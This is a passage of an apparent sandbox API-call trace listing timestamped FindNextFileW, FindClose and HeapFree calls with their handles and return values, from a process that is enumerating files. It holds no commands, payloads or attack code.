[0054.647] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0054.647] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0054.647] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.648] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0054.648] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0054.648] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0054.648] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0054.649] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.649] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0054.649] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0054.649] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0054.649] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0054.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363fe8 | out: hHeap=0x690000) returned 1 [0054.650] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0054.650] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0054.650] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.651] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0054.651] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0054.651] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0054.651] FindClose (in: hFindFile=0x4280440 | out: hFindFile=0x4280440) returned 1 [0054.651] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0054.652] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0054.652] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0054.652] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0054.652] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.072] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0055.072] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.072] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.072] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.072] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.072] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.072] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.072] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.072] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.072] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.072] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.072] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.073] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.073] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.073] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.073] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.073] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.073] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.073] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.073] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.073] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.073] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.073] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.073] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.073] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0055.074] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.074] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.074] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.074] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.075] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.075] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.075] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.075] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.076] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.076] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.076] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.076] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.076] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.076] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.087] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4394000 | out: hHeap=0x690000) returned 1 [0055.087] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0055.087] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0055.087] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.087] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.087] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0055.087] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.087] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.088] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4394000 | out: hHeap=0x690000) returned 1 [0055.088] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0055.088] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0055.088] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383ff8 | out: hHeap=0x690000) returned 1 [0055.088] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.088] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0055.088] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.088] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.088] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0055.088] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.090] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.096] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.096] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.096] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0055.096] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.096] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0055.096] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0055.096] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.097] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.120] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.121] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0055.121] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373f30 | out: hHeap=0x690000) returned 1 [0055.121] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32ae69c | out: lpFindFileData=0x32ae69c) returned 0 [0055.121] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0055.122] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.122] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0055.122] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.123] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.123] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0055.123] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.123] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.123] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0055.123] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.123] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.125] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.125] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.125] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.125] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.125] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.125] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.125] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.125] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0055.125] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.125] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.126] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.126] FindNextFileW (in: hFindFile=0x4280280, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.126] FindClose (in: hFindFile=0x4280280 | out: hFindFile=0x4280280) returned 1 [0055.127] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.127] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.127] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.127] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.128] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0055.128] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0055.128] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.128] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.150] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373f30 | out: hHeap=0x690000) returned 1 [0055.150] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0055.152] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f48 | out: hHeap=0x690000) returned 1 [0055.152] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32ae69c | out: lpFindFileData=0x32ae69c) returned 0 [0055.152] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0055.154] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373f30 | out: hHeap=0x690000) returned 1 [0055.154] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0055.154] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.154] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.154] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0055.155] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.155] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.155] FindClose (in: hFindFile=0x4280440 | out: hFindFile=0x4280440) returned 1 [0055.155] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.156] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.160] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.160] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.162] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.162] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0055.198] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.198] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 1 [0055.200] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.200] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.201] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.202] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.202] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.202] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.202] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.202] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.203] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.203] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0055.203] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.203] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.203] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.203] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.203] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.210] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.210] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.210] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0055.210] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.210] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.211] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.211] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.211] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.212] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.212] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.212] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0055.212] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.212] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0055.213] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0055.213] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.214] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.215] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.215] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.217] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.217] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.218] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.219] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0055.219] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0055.219] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.219] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.219] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0055.219] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.220] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.237] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.237] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0055.238] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0055.238] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.238] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.238] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.238] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0055.238] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0055.239] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.239] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.240] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.240] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0055.240] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0055.240] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.240] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.241] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.241] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0055.241] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0055.241] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.241] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.242] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.242] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0055.242] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0055.242] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.242] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.242] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f38 | out: hHeap=0x690000) returned 1 [0055.242] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32ae918 | out: lpFindFileData=0x32ae918) returned 0 [0055.242] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0055.243] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.243] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.243] FindClose (in: hFindFile=0x4280680 | out: hFindFile=0x4280680) returned 1 [0055.243] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.244] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.244] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.244] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.244] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.244] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.244] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.245] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.245] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.245] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.245] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.245] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.245] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.246] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0055.246] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.246] FindClose (in: hFindFile=0x42803c0 | out: 